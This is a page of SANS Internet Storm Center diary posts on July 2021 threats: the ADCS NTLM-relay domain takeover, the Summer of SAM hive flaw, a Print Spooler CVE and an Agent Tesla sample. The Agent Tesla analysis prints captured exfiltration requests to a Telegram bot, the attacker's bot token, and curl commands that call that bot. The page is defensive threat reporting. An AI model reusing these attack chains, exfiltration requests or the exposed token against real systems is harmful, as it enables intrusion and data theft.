Tag Archives: SANS

Apple Patches for CVE-2021-30807, (Tue, Jul 27th)

This post was originally published on this site

Apple has released another update (previous update was only about 5 days ago) to address CVE-2021-30807 that was discovered by an anonymous researcher. This update resolves an issue with IOMobileFrameBuffer which could allow an application to execute arbitrary code with kernel privileges [1], [2]. This issue may have been actively exploited.

As Apple has indicated that this issue may have been actively exploited, it is recommended that affected devices be updated as soon as possible.

References:
[1] https://support.apple.com/en-us/HT212622
[2] https://support.apple.com/en-us/HT212623

———–
Yee Ching Tok, ISC Handler
Personal Site
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Failed Malspam: Recovering The Password, (Mon, Jul 26th)

This post was originally published on this site

Jan's diary entry "One way to fail at malspam – give recipients the wrong password for an encrypted attachment" got my attention: it's an opportunity for me to do some password cracking 🙂 I asked Jan for the sample.

Just like Jan noticed, I saw that the sample is not actually a 7zip file, but a ZIP file. This could be a mistake by the malware authors, or it could be deliberate: 7zip is able to decompress a ZIP file with extension 7z.

And I confirm that AWB3604 is not the password.

Since it's a ZIP file, I first used my zipdump.py tool: it has a leightweight password cracking feature.

But that did not help:

Then I turned to John the Ripper. I used zip2john to create a hash for the sample, and created a password list file with a single line: AWB3604. And then I let JtR use all of its built-in rules on this "dictionary":

One of JtR's rules transformed the presumed password AWB3604 into 3604, and that turned out to be the actual password.

 

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Active Directory Certificate Services (ADCS – PKI) domain admin vulnerability, (Sat, Jul 24th)

This post was originally published on this site

Phew, this was a really bad week for Microsoft (and a lot of reading for all of us). And just when we thought that the fiasco with the SAM hive was over, a new vulnerability popped up, which is much, much more dangerous unfortunately – it allows a user to completely take over a Windows domain that has the ADCS service running. And those are probably running in majority of enterprises.

This involves chaining few things (and I’m a big fan of chaining vulnerabilities), and the bottom line issue is in relaying NTLM authentications (as has been many, many times before).

This is what’s going on now:

(1) Let’s provoke arbitrary NTLM authentication

Earlier this week, @topotam77 released a PoC tool called PetitPotam, which exploits the MS-EFSRPC (Encrypting File System Remote (EFSRPC)) protocol in order to provoke one Windows host to try to authenticate to another. This is done over LSARPC (TCP port 445) and results in making the target server connect to an arbitrary server and perform NTLM authentication.

What’s even crazier is that this can be done without any authentication – so as long as you can connect to the target server to the LSARPC named pipe with interface c681d488-d850-11d0-8c52-00c04fd90f7e, you can make that target server connect to any other server.

Here’s how this can be done:

(2) Relaying to Active Directory Certificate Services

The other vulnerability that is being exploited here is the fact that the IIS server that is used by Active Directory Certificate Services uses NTLM over HTTP for authentication. This makes it perfect for this attack. @ExAndroidDev made a fork of the amazing Responder tool and added support for this attack.

Basically, what the fork is doing is using Responder to relay NTLM authentication to the Active Directory Certificate Services IIS server. In this process it first sends a POST HTTP request to the /certsrv/certfnsh.as endpoint with an automatically generated certificate. While doing this it also passes the NTLM credentials.

If the POST request was successful, the Active Directory Certificate Services server will sign the certificate and Responder will fetch it by sending a GET HTTP request to /certsrv/certnew.cer?ReqID= where the parameter will be provided as response to the POST request.

This is what it looks like when executed:

With the certificate now, it is actually game over.

(3)    Using Rubeus to get a TGT

The attacker can now use the Rubeus tool to fetch a Kerberos TGT (Ticket Granting Ticket), by using the machine account that was initially abused to make the NTLM connection. You can probably guess it by now – if that machine was a domain controller, we can get the TGT as that domain controller machine account, which will then ultimately allow the attacker to fully compromise the domain.

It is really game over now. With this TGT in our cache, we can fetch service tickets and perform any action we want, including the Mimikatz’ famous DCSync as @gentilkiwi demonstrated.

Talk about a bad week. And weekend. Sowhat can we do?

One of main issues here is that Active Directory Certificate Services use NTLM for authentication:

So, depending on how your enterprise uses ADCS, you could disable NTLM authentication on the IIS server and this particular attack will not be possible any more. Of course, if you do not need this particular service (web based certificate enroll) – remove it completely!

Couple of other things that will help:

  • Use host based firewalls to limit connectivity as much as possible. Does your DC need to make outbound connections to port 445? Do your workstations need to allow inbound connectivity to port 445?
  • Collect IIS logs from the Active Directory Certificate Services server to your SIEM and check for those requests mentioned above.

We’ll (again) keep an eye on this, and will update the diary with new information when possible. But it looks like it will be a busy weekend for some.


Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Agent.Tesla Dropped via a .daa Image and Talking to Telegram, (Sat, Jul 24th)

This post was originally published on this site

A few days ago, I found an interesting file delivered by email (why change a winning combination?). The file has a nice extension: “.daa” (Direct Access Archive). We already reported such files in 2019 and Didier wrote a diary[1] about them. Default Windows installation, can’t process “.daa” files, you need a specific tool to open them (like PowerISO). I converted the archive into an ISO file and extracted the PE file inside it.

The sample was called “E445333###.exe” (SHA256:853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead) and has a VT score of 48/70[2]. It’s a classic Agent.Tesla but this one uses another C2 channel to exfiltrate data. Instead of using open email servers, it uses Telegram (the messenger application). I started to debug the PE file (a classic .Net executable) but it took a lot of time before reaching some interesting activity so I took another approach and went back to a classic behavioral analysis. I fired a REM Workstation, connected it to the Internet through a REMnux, and launched the executable.

It took some time (approx 15 mins) before I saw the first connection to api[.]telegram[.]org:

POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1

Content-Type: multipart/form-data; boundary=---------------------------8d94d2d30eed79c

Host: api.telegram.org
Content-Length: 983
Expect: 100-continue
Connection: Keep-Alive
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="chat_id"

1599705393
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="caption"

New Log Recovered!
User Name: REM/DESKTOP-2C3IQHO
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html"
Content-Type: text/html

Time: 07/22/2021 16:24:31<br>User Name: REM<br>Computer Name: DESKTOP-2C3IQHO<br>OSFullName: Microsoft Windows 10 Enterprise<br>CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz<br>RAM: 8191.49 MB<br>IP Address: <br><hr><br><font color="#00b1ba"><b>[ Process Hacker: </b>Filter <b>]</b> <font color="#000000">(07/22/2021 16:01:01)</font></font><br>api<font color="#00ba66">{ENTER}</font><br>

-----------------------------8d94d2d30eed79c--

And the reply:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 22 Jul 2021 14:24:34 GMT
Content-Type: application/json
Content-Length: 662
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

{"ok":true,"result":{"message_id":6630,"from":{"id":1815802853,"is_bot":true,"first_name":"Bigdealz","username":"Bigdealzbot"},"chat":{"id":1599705393,"first_name":"Gracia","last_name":"Smith","username":"Graciasmith1","type":"private"},"date":1626963874,"document":{"file_name":"REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIZ5mD5f6KNxerk3Fq4TG00ctuw4KRbAAJYCAACBovJUw5z5vTXh3vBIAQ","file_unique_id":"AgADWAgAAgaLyVM","file_size":388},"caption":"New Log Recovered!nnUser Name: REM/DESKTOP-2C3IQHOnOSFullName: Microsoft Windows 10 EnterprisenCPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHznRAM: 8191.49 MB"}}

A few minutes later, the Trojan started to exfiltrate screenshots:

POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8d94d3662696c53
Host: api.telegram.org
Content-Length: 194635
Expect: 100-continue
Connection: Keep-Alive

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="chat_id"

1599705393

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="caption"

New Screenshot Recovered!
User Name: REM/DESKTOP-2C3IQHO
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 05-30-21.jpeg"
Content-Type: image/jpeg

JFIF``C
(1#%(:3=<9387@HN@DWE78PmQW_bghg>MqypdxegcC//cB8BccccccccccccccccccccccccccccccccccccccccccccccccccOm"
[stuff deleted]

The file that is uploaded contains a timestamp. This confirmed to me that a screenshot is exfiltrated every hour.

Because we know the bot ID, we can interact with it.

Let’s check the bot info:

remnux@remnux:~$ curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/getMe | jq
{
  "ok": true,
  "result": {
    "id": 1815802853,
    "is_bot": true,
    "first_name": "Bigdealz",
    "username": "Bigdealzbot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false
  }
}

The user the bot is talking to is "Graciasmith1" (still online on Telegram when I'm writing this diary). Let's make it aware that we are also alive:

remnux@remnux:~$  curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendMessage -X POST -d '{"chat_id":"1599705393", "text":"Ping"}' -H "Content-Type: application/json" | jq
{
  "ok": true,
  "result": {
    "message_id": 6884,
    "from": {
      "id": 1815802853,
      "is_bot": true,
      "first_name": "Bigdealz",
      "username": "Bigdealzbot"
    },
    "chat": {
      "id": 1599705393,
      "first_name": "Gracia",
      "last_name": "Smith",
      "username": "Graciasmith1",
      "type": "private"
    },
    "date": 1627107886,
    "text": "Ping"
  }
}

As you can see, today it's very touchy to spot malicious activity just by watching classic IOCs like IP addresses or domain names. Except if you prevent your users to access social networks like Telegram, who will flag traffic to api.telegram.org as suspicious? Behavioral monitoring can be the key: You can see requests at regular intervals, outside business hours, or from hosts that should not execute social network applications. Because your servers can access the Internet directly, right? 😉

[1] https://isc.sans.edu/forums/diary/The+DAA+File+Format/25246
[2] https://www.virustotal.com/gui/file/853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Uncovering Shenanigans in an IP Address Block via Hurricane Electric's BGP Toolkit (II), (Fri, Jul 23rd)

This post was originally published on this site

Today’s diary revisits hunting for dodgy domains via Hurricane Electric's BGP Toolkit [1]. This was previously done in an earlier diary [2], and I plan to do this occasionally to share potential or identified threats so that readers can be aware of them.

I selected the IP address block of 209.58.160.0/20 this time, partly also due to a significant number of hits on my DShield sensor from this IP address block. An entry immediately caught my attention, and stood out due to the recent Akamai outage as mentioned by Johannes [3]. With reference to Figure 1, there was a site “akammai.com” lurking amongst the plethora of many other websites that was hosted on the same IP address.

Figure 1: “akammai.com” Hosted on 209.58.163[.]95

A closer inspection on the site showed a “Hello world” post, and did not display any other noticeable features (as shown in Figure 2).

Figure 2: Screenshot of “akammai.com”

As of now, the site appears to be pretty harmless. However, the domain name is quite close to the actual Akamai domain name (akamai.com). Depending on the true owner of the domain name “akammai.com”, the site could very well be repurposed and used by cybercriminals or red teams for their phishing campaigns. This is especially so due to the recent Akamai outage, or perhaps in a future unforeseen outage related to Akamai. It would be worthwhile to be wary of such domain names, particularly more so if they do not have any relation to the original site but yet bear such a close resemblance.

Indicators of Compromise (IOCs):
hxxp://akammai[.]com
209.58.163[.]95

References:
[1] https://bgp.he.net/
[2] https://isc.sans.edu/diary/27456
[3] https://isc.sans.edu/diary/27660

———–
Yee Ching Tok, ISC Handler
Personal Site
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

"Summer of SAM": Microsoft Releases Guidance for CVE-2021-36934, (Wed, Jul 21st)

This post was originally published on this site

Microsoft released a knowledge base article regarding CVE-2021-36934 [1]. Bojan yesterday explained the vulnerability in more detail. Recent versions of Microsoft Windows expose several system files due to overly permissive access control lists. Of main interest is the Security Accounts Manager (SAM), which exposes password hashes. It has been demonstrated how this can easily be exploited by retrieving these files from shadow volumes.

Microsoft recommends to:

  • restrict access to %windir%system32config
  • delete shadow copies

Deleting shadow copies will of course affect any attempts to restore a prior system state. A new shadow copy may be created after the old copies are deleted and the permissions are adjusted.

Windows 10 1809 and newer are affected. This includes the Windows 11 Beta. Server versions of Windows are not affected. But Microsoft also states that they are still investigating which versions are affected.

[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Summer of SAM – incorrect permissions on Windows 10/11 hives, (Tue, Jul 20th)

This post was originally published on this site

If you opened Twitter today you were probably flooded with news about the latest security issue with Windows. For those that have ISC as their home page (yay!) the issue is the following: apparently starting with Windows 10 1809 (hey, that’s a version from 2018) Microsoft messed up permissions on the SAM and SYSTEM hives which became readable for any user on the system.

This can be easily checked on your system with the icacls utility, as shown above for my test Windows:

As you can see here, the BUILTINUsers group has (RX) permission which stands for read and execute access; (I) says it’s inherited.
What does this mean? Well, since the SAM and SYSTEM hives are really important, by reading them we can retrieve hashes of all local accounts on the system. And by having the hash of a local administrator we have Local Privilege Escalation being served to us on a silver (pun intended) plate.

The only issue here is how do we read those files: when Windows are running, the access to the files is locked and even though we have read permission, we won’t be able to read them.

As two great researchers found (@jonasLyk and @gentilkiwi), we can actually abuse Volume Shadow Copy to read the files. VSS will allow us to bypass the file being locked, and since we have legitimate read access, there’s nothing preventing us from reading the file.

VSS is a feature that is enabled automatically on Windows and that allows us to restore previous copies in case something got messed up during installation of a new application or patch, for example. If your system disk is greater than 128 GB, it will be enabled automatically!

Now, as a standard user (without local administrator privileges), one cannot check what VSS copies exist, so let’s see what can be done.
First, if you do have local administrator privileges, you can check VSS status either through the GUI (System Properties -> System Protection), or by executing the vssadmin command (through an elevated command prompt) – both examples shown below:

As shown above, I have one VSS with the path of ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1. And due to incorrect permissions set on the SYSTEM and SAM hives, I can now simply try to copy these files from the VSS. While the built-in copy command will not work, there are other ways to do this – @gentilkiwi used Mimikatz (of course ?), and below is a simple C program compiled that literally takes one argument and copies the file to destination (thanks to my colleague @filip_dragovic for help):

Notice that the builtin copy command failed.

What if you don’t know which VSS copy you have? Don’t worry – Windows actually increments the number at the end, so just brute force them!
With the SYSTEM and SAM hives in your possession you can dump password hashes of other local users, possible machine hashes and all sorts of other things. Summer of SAM indeed!

Mitigation

To be honest – I’m not sure what’s the best way to mitigate this currently, apart from disabling/removing VSS copies. Keep in mind that the permission on the hives will still be wrong, but at least a non-privileged user will not be able to easily fetch these files due to them being locked by Windows as the system is running.

We’ll be keeping an eye on this, of course, if you have any additional information let us know!


Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

New Windows Print Spooler Vulnerability – CVE-2021-34481, (Mon, Jul 19th)

This post was originally published on this site

A new, unpatched, vulnerability has been discovered in the Windows Print Spooler and is being tracked under CVE-2021-34481.  Discovered by Jacob Baines at Dragos, this one requires local access, so it is less of a nightmare than PrintNightmare, but unfortunately the result of exploitation is SYSTEM level privileges.

Unfortunately, the workaround is the same; Stop and disable the Print Spooler service, which, of course, will disable the ability to print, both locally, and remotely.

It appears that Jacob will not be providing more details until Def Con.

At this point there is no indication of whether or not Microsoft will be releasing an out of band patch for this vulnerability.

— Rick Wanner MSISE – rwanner at isc dot sans dot edu – Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Video: CyberChef BASE85 Decoding, (Sun, Jul 18th)

This post was originally published on this site

In this video, I show how to decode the sample of Xavier's diary entry "Multiple BaseXX Obfuscations" with CyberChef.

The CyberChef recipe I created can be found here on pastebin.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.